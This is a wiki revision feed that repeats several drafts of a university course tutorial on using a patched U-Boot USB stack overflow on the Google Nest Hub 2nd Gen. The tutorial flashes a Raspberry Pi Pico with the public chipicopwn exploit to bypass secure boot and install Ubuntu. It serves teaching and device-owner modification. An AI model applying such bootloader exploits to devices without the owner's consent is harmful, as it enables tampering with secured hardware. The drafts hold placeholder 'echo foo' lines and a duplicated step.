== References ==<br />
<br />
* https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html<br />
* https://github.com/frederic/chipicopwn<br />
* https://github.com/frederic/elaine-bootimg<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=(Legacy)_USB_Vulnerability_on_Google_Nest_Hub&diff=14102(Legacy) USB Vulnerability on Google Nest Hub2024-01-27T15:25:44Z<p>PKraubner: refactoring, but doesn't look too good</p>
<hr />
<div>== Disclaimer ==<br />
<br />
Article in progress, this is not the final version.<br />
This tutorial has been patched by Google in December 2021 via OTA-update, now the booting sequence of the Recovery Mode does not work as intended for this exploit to work. <br />
<br />
== Summary == <br />
<br />
We want to change the OS of a Google Nest Hub 2. Generation by exploiting a vulnerability in the bootloader u-boot.<br />
<br />
<br />
== Requirements ==<br />
<br />
* 1x Google Nest Hub, 2nd Generation --> [[Nest_Hub_2nd_Generation]]<br />
* 1x Raspberry Pi Pico<br />
* 1x Powered Micro-USB Hub (NestUSB does not provide power)<br />
* 2x Micro-USB cables<br />
* 1x UART to USB<br />
* 1x bootable USB Stick with Ubuntu 22.04 and the files from https://github.com/frederic/elaine-bootimg (Elaine bootimg gives privilege to use the Nest touchscreen for the Linux OS)<br />
<br />
<br />
== Description ==<br />
<br />
=== Step 1 ===<br />
<br />
Flash an USB stick with Ubuntu 22.04, if you haven't done earlier.<br />
<br />
[[File:01_rufus_for_bootUSB.jpeg|500px|thumb|right|rufusflash]]<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Step 2 ===<br />
<br />
In order to be compatible with the touchscreen of the nest, we need to adjust some files in partition system boot.<br />
<br />
Copy the following files from the repository https://github.com/frederic/elaine-bootimg in partition system-boot :<br />
* u-boot-elaine.bin : U-Boot image for elaine<br />
* u-boot-elaine.cmd : U-Boot environment file<br />
* boot.img : Boot image (Kernel for elaine, DTB, initrd)<br />
<br />
=== Step 3 ===<br />
<br />
The exploit is made possible because there is a stack overflow within the bootloader u-Boot, which happens with block sizes greater than 512 bytes. Most USB-Sticks only support 512 Bytes. The solution is taking a suitable microcontroller, in our case a Raspberry Pico, which is equipped with TinyUSB, which provides a Mass Storage device example code that can turn a Raspberry Pi Pico into a customizable USB flash drive.<br />
This Pico will be used to inject arbitrary payload into the stack memory and overwrite return address to execute the payload.<br />
However, the storage of the pico is very limited, hence we will have to hotswap the pico with our USB Stick, which contains all neccessary data to install the OS.<br />
<br />
=== Step 4 ===<br />
<br />
For the Pico we will have to prepare the following:<br />
<br />
1. Install dependencies<br />
Update the system:<br />
sudo apt-get update<br />
<br />
Install dependencies:<br />
sudo apt install git<br />
sudo apt install openocd<br />
sudo apt install gcc-multilib<br />
sudo apt install build-essential<br />
sudo apt install python3-serial<br />
sudo apt install libudev-dev<br />
sudo apt install cmake gcc-arm-none-eabi libnewlib-arm-none-eabi build-essential <br />
sudo apt install libstdc++-arm-none-eabi-newlib<br />
<br />
Create workspace, current location /home/<br />
mkdir pico<br />
cd pico<br />
<br />
Clone pico-sdk and update it, current location /home/pico/<br />
git clone https://github.com/raspberrypi/pico-sdk.git --branch master<br />
cd pico-sdk<br />
git submodule update --init<br />
<br />
In the Pico folder we do clone our chipicopwn, current location /home/pico/<br />
<br />
sudo git clone https://github.com/frederic/chipicopwn chipicopwn<br />
cd chipicopwn<br />
<br />
Now we need the commands from the repository:<br />
Set the Path to wherever you saved your pico-sdk repository<br />
export PICO_SDK_PATH=/home/user/pico/pico-sdk/<br />
<br />
!! If you have this in the home directory do not use relative paths, since this command is executed as root!<br />
<br />
Flashing the program, current location /home/pico/chipicopwn<br />
It may be that a build folder already exists. It is recommended to delete it and make a new one, since some files may or may not work / flash as intended.<br />
<br />
mkdir build<br />
cd build<br />
sudo cmake ..<br />
sudo make<br />
<br />
<br />
Now the project should be built.<br />
Now we need to boot the Pico in bootloader mode (by holding down the BOOTSEL button) and get the chipicopwn.uf2 on the pico device itself by copying it.<br />
<br />
Now we should have two hardware components prepared:<br />
<br />
The USB Stick with the Ubuntu Image optimized for touchscreen and the Raspberry Pico with the modified bootloader.<br />
<br />
<br />
=== Step 5 ===<br />
<br />
Remove the lid underneath the Nest Hub base to expose USB port<br />
Connect the Raspberry Pico to Nest Hub (through powered-hub or Y-cable because the USB port does not provide power)<br />
[[File:HardwareCabled.png|500px|thumb|right|Verkabelte Hardware]]<br />
Hold Volume Down + Volume Up + Mute buttons while powering on the Nest Hub<br />
Once CHIPICOPWN logo appears on screen, replace the Raspberry Pico with USB flash drive<br />
<br />
Now you can install Ubuntu on your Google Nest.<br />
<br />
=== Result ===<br />
[[File:Demonstration.png|500px|thumb|Demonstration]]<br />
<br />
== Used Hardware ==<br />
<br />
[[Nest_Hub_2nd_Generation]]<br />
[[Raspberry Pi Pico]]<br />
[[Powered Micro-USB Hub]]<br />
[[Micro-USB cable]]<br />
optional for log insight: [[UART to USB Adapter]]<br />
<br />
== Courses ==<br />
<br />
* [[WFP2]] (2023)<br />
<br />
== References ==<br />
<br />
* https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html<br />
* https://github.com/frederic/chipicopwn<br />
* https://github.com/frederic/elaine-bootimg<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=(Legacy)_USB_Vulnerability_on_Google_Nest_Hub&diff=14101(Legacy) USB Vulnerability on Google Nest Hub2024-01-27T15:23:24Z<p>PKraubner: </p>
<hr />
<div>== Disclaimer ==<br />
<br />
Article in progress, this is not the final version.<br />
This tutorial has been patched by Google in December 2021 via OTA-update, now the booting sequence of the Recovery Mode does not work as intended for this exploit to work. <br />
<br />
== Summary == <br />
<br />
We want to change the OS of a Google Nest Hub 2. Generation by exploiting a vulnerability in the bootloader u-boot.<br />
<br />
<br />
== Requirements ==<br />
<br />
* 1x Google Nest Hub, 2nd Generation --> [[Nest_Hub_2nd_Generation]]<br />
* 1x Raspberry Pi Pico<br />
* 1x Powered Micro-USB Hub (NestUSB does not provide power)<br />
* 2x Micro-USB cables<br />
* 1x UART to USB<br />
* 1x bootable USB Stick with Ubuntu 22.04 and the files from https://github.com/frederic/elaine-bootimg (Elaine bootimg gives privilege to use the Nest touchscreen for the Linux OS)<br />
<br />
<br />
== Description ==<br />
<br />
=== Step 1 ===<br />
<br />
Flash an USB stick with Ubuntu 22.04, if you haven't done earlier.<br />
<br />
[[File:01_rufus_for_bootUSB.jpeg|500px|thumb|right|rufusflash]]<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Step 2 ===<br />
<br />
In order to be compatible with the touchscreen of the nest, we need to adjust some files in partition system boot.<br />
<br />
Copy the following files from the repository https://github.com/frederic/elaine-bootimg in partition system-boot :<br />
* u-boot-elaine.bin : U-Boot image for elaine<br />
* u-boot-elaine.cmd : U-Boot environment file<br />
* boot.img : Boot image (Kernel for elaine, DTB, initrd)<br />
<br />
=== Step 3 ===<br />
<br />
The exploit is made possible because there is a stack overflow within the bootloader u-Boot, which happens with block sizes greater than 512 bytes. Most USB-Sticks only support 512 Bytes. The solution is taking a suitable microcontroller, in our case a Raspberry Pico, which is equipped with TinyUSB, which provides a Mass Storage device example code that can turn a Raspberry Pi Pico into a customizable USB flash drive.<br />
This Pico will be used to inject arbitrary payload into the stack memory and overwrite return address to execute the payload.<br />
However, the storage of the pico is very limited, hence we will have to hotswap the pico with our USB Stick, which contains all neccessary data to install the OS.<br />
<br />
=== Step 4 ===<br />
<br />
For the Pico we will have to prepare the following:<br />
<br />
1. Install dependencies<br />
Update the system:<br />
sudo apt-get update<br />
<br />
Install dependencies:<br />
sudo apt install git<br />
sudo apt install openocd<br />
sudo apt install gcc-multilib<br />
sudo apt install build-essential<br />
sudo apt install python3-serial<br />
sudo apt install libudev-dev<br />
sudo apt install cmake gcc-arm-none-eabi libnewlib-arm-none-eabi build-essential <br />
sudo apt install libstdc++-arm-none-eabi-newlib<br />
<br />
Create workspace, current location /home/<br />
mkdir pico<br />
cd pico<br />
<br />
Clone pico-sdk and update it, current location /home/pico/<br />
git clone https://github.com/raspberrypi/pico-sdk.git --branch master<br />
cd pico-sdk<br />
git submodule update --init<br />
<br />
In the Pico folder we do clone our chipicopwn, current location /home/pico/<br />
<br />
sudo git clone https://github.com/frederic/chipicopwn chipicopwn<br />
<br />
cd chipicopwn<br />
<br />
Now we need the commands from the repository:<br />
Set the Path to wherever you saved your pico-sdk repository<br />
export PICO_SDK_PATH=/home/user/pico/pico-sdk/<br />
<br />
!! If you have this in the home directory do not use relative paths, since this command is executed as root!<br />
<br />
Flashing the program, current location /home/pico/chipicopwn<br />
It may be that a build folder already exists. It is recommended to delete it and make a new one, since some files may or may not work / flash as intended.<br />
<br />
mkdir build<br />
cd build<br />
sudo cmake ..<br />
sudo make<br />
<br />
<br />
Now the project should be built.<br />
Now we need to boot the Pico in bootloader mode (by holding down the BOOTSEL button) and get the chipicopwn.uf2 on the pico device itself by copying it.<br />
<br />
Now we should have two hardware components prepared:<br />
<br />
The USB Stick with the Ubuntu Image optimized for touchscreen and the Raspberry Pico with the modified bootloader.<br />
<br />
<br />
=== Step 5 ===<br />
<br />
Remove the lid underneath the Nest Hub base to expose USB port<br />
Connect the Raspberry Pico to Nest Hub (through powered-hub or Y-cable because the USB port does not provide power)<br />
[[File:HardwareCabled.png|500px|thumb|right|Verkabelte Hardware]]<br />
Hold Volume Down + Volume Up + Mute buttons while powering on the Nest Hub<br />
Once CHIPICOPWN logo appears on screen, replace the Raspberry Pico with USB flash drive<br />
<br />
Now you can install Ubuntu on your Google Nest.<br />
<br />
=== Result ===<br />
[[File:Demonstration.png|500px|thumb|Demonstration]]<br />
<br />
== Used Hardware ==<br />
<br />
[[Nest_Hub_2nd_Generation]]<br />
[[Raspberry Pi Pico]]<br />
[[Powered Micro-USB Hub]]<br />
[[Micro-USB cable]]<br />
optional for log insight: [[UART to USB Adapter]]<br />
<br />
== Courses ==<br />
<br />
* [[WFP2]] (2023)<br />
<br />
== References ==<br />
<br />
* https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html<br />
* https://github.com/frederic/chipicopwn<br />
* https://github.com/frederic/elaine-bootimg<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=File:Demonstration.png&diff=14100File:Demonstration.png2024-01-27T15:21:16Z<p>PKraubner: Successful install of Ubuntu on a Nest Hub.
Taken from https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html</p>
<hr />
<div>== Summary ==<br />
Successful install of Ubuntu on a Nest Hub.<br />
Taken from https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=File:HardwareCabled.png&diff=14099File:HardwareCabled.png2024-01-27T15:19:18Z<p>PKraubner: Verkabeltes Google Nest Hub 2GEN für den USB Exploit</p>
<hr />
<div>== Summary ==<br />
Verkabeltes Google Nest Hub 2GEN für den USB Exploit</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=(Legacy)_USB_Vulnerability_on_Google_Nest_Hub&diff=14098(Legacy) USB Vulnerability on Google Nest Hub2024-01-27T15:15:58Z<p>PKraubner: </p>
<hr />
<div>== Disclaimer ==<br />
<br />
Article in progress, this is not the final version.<br />
This tutorial has been patched by Google in December 2021 via OTA-update, now the booting sequence of the Recovery Mode does not work as intended for this exploit to work. <br />
<br />
== Summary == <br />
<br />
We want to change the OS of a Google Nest Hub 2. Generation by exploiting a vulnerability in the bootloader u-boot.<br />
<br />
<br />
== Requirements ==<br />
<br />
* 1x Google Nest Hub, 2nd Generation --> [[Nest_Hub_2nd_Generation]]<br />
* 1x Raspberry Pi Pico<br />
* 1x Powered Micro-USB Hub (NestUSB does not provide power)<br />
* 2x Micro-USB cables<br />
* 1x UART to USB<br />
* 1x bootable USB Stick with Ubuntu 22.04 and the files from https://github.com/frederic/elaine-bootimg (Elaine bootimg gives privilege to use the Nest touchscreen for the Linux OS)<br />
<br />
<br />
== Description ==<br />
<br />
=== Step 1 ===<br />
<br />
Flash an USB stick with Ubuntu 22.04, if you haven't done earlier.<br />
<br />
[[File:01_rufus_for_bootUSB.jpeg|500px|thumb|right|rufusflash]]<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Step 2 ===<br />
<br />
In order to be compatible with the touchscreen of the nest, we need to adjust some files in partition system boot.<br />
<br />
Copy the following files from the repository https://github.com/frederic/elaine-bootimg in partition system-boot :<br />
* u-boot-elaine.bin : U-Boot image for elaine<br />
* u-boot-elaine.cmd : U-Boot environment file<br />
* boot.img : Boot image (Kernel for elaine, DTB, initrd)<br />
<br />
=== Step 3 ===<br />
<br />
The exploit is made possible because there is a stack overflow within the bootloader u-Boot, which happens with block sizes greater than 512 bytes. Most USB-Sticks only support 512 Bytes. The solution is taking a suitable microcontroller, in our case a Raspberry Pico, which is equipped with TinyUSB, which provides a Mass Storage device example code that can turn a Raspberry Pi Pico into a customizable USB flash drive.<br />
This Pico will be used to inject arbitrary payload into the stack memory and overwrite return address to execute the payload.<br />
However, the storage of the pico is very limited, hence we will have to hotswap the pico with our USB Stick, which contains all neccessary data to install the OS.<br />
<br />
=== Step 4 ===<br />
<br />
For the Pico we will have to prepare the following:<br />
<br />
1. Install dependencies<br />
Update the system:<br />
sudo apt-get update<br />
<br />
Install dependencies:<br />
sudo apt install git<br />
sudo apt install openocd<br />
sudo apt install gcc-multilib<br />
sudo apt install build-essential<br />
sudo apt install python3-serial<br />
sudo apt install libudev-dev<br />
sudo apt install cmake gcc-arm-none-eabi libnewlib-arm-none-eabi build-essential <br />
sudo apt install libstdc++-arm-none-eabi-newlib<br />
<br />
Create workspace, current location /home/<br />
mkdir pico<br />
cd pico<br />
<br />
Clone pico-sdk and update it, current location /home/pico/<br />
git clone https://github.com/raspberrypi/pico-sdk.git --branch master<br />
cd pico-sdk<br />
git submodule update --init<br />
<br />
In the Pico folder we do clone our chipicopwn, current location /home/pico/<br />
<br />
sudo git clone https://github.com/frederic/chipicopwn chipicopwn<br />
<br />
cd chipicopwn<br />
<br />
Now we need the commands from the repository:<br />
Set the Path to wherever you saved your pico-sdk repository<br />
export PICO_SDK_PATH=/home/user/pico/pico-sdk/<br />
<br />
!! If you have this in the home directory do not use relative paths, since this command is executed as root!<br />
<br />
Flashing the program, current location /home/pico/chipicopwn<br />
It may be that a build folder already exists. It is recommended to delete it and make a new one, since some files may or may not work / flash as intended.<br />
<br />
mkdir build<br />
cd build<br />
sudo cmake ..<br />
sudo make<br />
<br />
<br />
Now the project should be built.<br />
Now we need to boot the Pico in bootloader mode (by holding down the BOOTSEL button) and get the chipicopwn.uf2 on the pico device itself by copying it.<br />
<br />
Now we should have two hardware components prepared:<br />
<br />
The USB Stick with the Ubuntu Image optimized for touchscreen and the Raspberry Pico with the modified bootloader.<br />
<br />
<br />
=== Step 4 ===<br />
<br />
Remove the lid underneath the Nest Hub base to expose USB port<br />
Connect the Raspberry Pico to Nest Hub (through powered-hub or Y-cable because the USB port does not provide power)<br />
Hold Volume Down + Volume Up + Mute buttons while powering on the Nest Hub<br />
Once CHIPICOPWN logo appears on screen, replace the Raspberry Pico with USB flash drive<br />
<br />
Now you can install Ubuntu on your Google Nest.<br />
<br />
<br />
<br />
== Used Hardware ==<br />
<br />
[[Nest_Hub_2nd_Generation]]<br />
[[Raspberry Pi Pico]]<br />
[[Powered Micro-USB Hub]]<br />
[[Micro-USB cable]]<br />
optional for log insight: [[UART to USB Adapter]]<br />
<br />
== Courses ==<br />
<br />
* [[WFP2]] (2023)<br />
<br />
== References ==<br />
<br />
* https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html<br />
* https://github.com/frederic/chipicopwn<br />
* https://github.com/frederic/elaine-bootimg<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=(Legacy)_USB_Vulnerability_on_Google_Nest_Hub&diff=14097(Legacy) USB Vulnerability on Google Nest Hub2024-01-27T15:15:01Z<p>PKraubner: v1.0, work in progress</p>
<hr />
<div>== Disclaimer ==<br />
<br />
Article in progress, this is not the final version.<br />
This tutorial has been patched by Google in December 2021 via OTA-update, now the booting sequence of the Recovery Mode does not work as intended for this exploit to work. <br />
<br />
== Summary == <br />
<br />
We want to change the OS of a Google Nest Hub 2. Generation by exploiting a vulnerability in the bootloader u-boot.<br />
<br />
<br />
== Requirements ==<br />
<br />
* 1x Google Nest Hub, 2nd Generation<br />
* 1x Raspberry Pi Pico<br />
* 1x Powered Micro-USB Hub (NestUSB does not provide power)<br />
* 2x Micro-USB cables<br />
* 1x UART to USB<br />
* 1x bootable USB Stick with Ubuntu 22.04 and the files from https://github.com/frederic/elaine-bootimg (Elaine bootimg gives privilege to use the Nest touchscreen for the Linux OS)<br />
<br />
<br />
== Description ==<br />
<br />
=== Step 1 ===<br />
<br />
Flash an USB stick with Ubuntu 22.04, if you haven't done earlier.<br />
<br />
[[File:01_rufus_for_bootUSB.jpeg|500px|thumb|right|rufusflash]]<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Step 2 ===<br />
<br />
In order to be compatible with the touchscreen of the nest, we need to adjust some files in partition system boot.<br />
<br />
Copy the following files from the repository https://github.com/frederic/elaine-bootimg in partition system-boot :<br />
* u-boot-elaine.bin : U-Boot image for elaine<br />
* u-boot-elaine.cmd : U-Boot environment file<br />
* boot.img : Boot image (Kernel for elaine, DTB, initrd)<br />
<br />
=== Step 3 ===<br />
<br />
The exploit is made possible because there is a stack overflow within the bootloader u-Boot, which happens with block sizes greater than 512 bytes. Most USB-Sticks only support 512 Bytes. The solution is taking a suitable microcontroller, in our case a Raspberry Pico, which is equipped with TinyUSB, which provides a Mass Storage device example code that can turn a Raspberry Pi Pico into a customizable USB flash drive.<br />
This Pico will be used to inject arbitrary payload into the stack memory and overwrite return address to execute the payload.<br />
However, the storage of the pico is very limited, hence we will have to hotswap the pico with our USB Stick, which contains all neccessary data to install the OS.<br />
<br />
=== Step 4 ===<br />
<br />
For the Pico we will have to prepare the following:<br />
<br />
1. Install dependencies<br />
Update the system:<br />
sudo apt-get update<br />
<br />
Install dependencies:<br />
sudo apt install git<br />
sudo apt install openocd<br />
sudo apt install gcc-multilib<br />
sudo apt install build-essential<br />
sudo apt install python3-serial<br />
sudo apt install libudev-dev<br />
sudo apt install cmake gcc-arm-none-eabi libnewlib-arm-none-eabi build-essential <br />
sudo apt install libstdc++-arm-none-eabi-newlib<br />
<br />
Create workspace, current location /home/<br />
mkdir pico<br />
cd pico<br />
<br />
Clone pico-sdk and update it, current location /home/pico/<br />
git clone https://github.com/raspberrypi/pico-sdk.git --branch master<br />
cd pico-sdk<br />
git submodule update --init<br />
<br />
In the Pico folder we do clone our chipicopwn, current location /home/pico/<br />
<br />
sudo git clone https://github.com/frederic/chipicopwn chipicopwn<br />
<br />
cd chipicopwn<br />
<br />
Now we need the commands from the repository:<br />
Set the Path to wherever you saved your pico-sdk repository<br />
export PICO_SDK_PATH=/home/user/pico/pico-sdk/<br />
<br />
!! If you have this in the home directory do not use relative paths, since this command is executed as root!<br />
<br />
Flashing the program, current location /home/pico/chipicopwn<br />
It may be that a build folder already exists. It is recommended to delete it and make a new one, since some files may or may not work / flash as intended.<br />
<br />
mkdir build<br />
cd build<br />
sudo cmake ..<br />
sudo make<br />
<br />
<br />
Now the project should be built.<br />
Now we need to boot the Pico in bootloader mode (by holding down the BOOTSEL button) and get the chipicopwn.uf2 on the pico device itself by copying it.<br />
<br />
Now we should have two hardware components prepared:<br />
<br />
The USB Stick with the Ubuntu Image optimized for touchscreen and the Raspberry Pico with the modified bootloader.<br />
<br />
<br />
=== Step 4 ===<br />
<br />
Remove the lid underneath the Nest Hub base to expose USB port<br />
Connect the Raspberry Pico to Nest Hub (through powered-hub or Y-cable because the USB port does not provide power)<br />
Hold Volume Down + Volume Up + Mute buttons while powering on the Nest Hub<br />
Once CHIPICOPWN logo appears on screen, replace the Raspberry Pico with USB flash drive<br />
<br />
Now you can install Ubuntu on your Google Nest.<br />
<br />
<br />
<br />
== Used Hardware ==<br />
<br />
[[Nest_Hub_2nd_Generation]]<br />
[[Raspberry Pi Pico]]<br />
[[Powered Micro-USB Hub]]<br />
[[Micro-USB cable]]<br />
optional for log insight: [[UART to USB Adapter]]<br />
<br />
== Courses ==<br />
<br />
* [[WFP2]] (2023)<br />
<br />
== References ==<br />
<br />
* https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html<br />
* https://github.com/frederic/chipicopwn<br />
* https://github.com/frederic/elaine-bootimg<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=File:01_rufus_for_bootUSB.jpeg&diff=14092File:01 rufus for bootUSB.jpeg2024-01-27T14:19:53Z<p>PKraubner: An USB Stick is being flashed with Ubuntu 22.04 over the Program Rufus.</p>
<hr />
<div>== Summary ==<br />
An USB Stick is being flashed with Ubuntu 22.04 over the Program Rufus.</div>PKraubner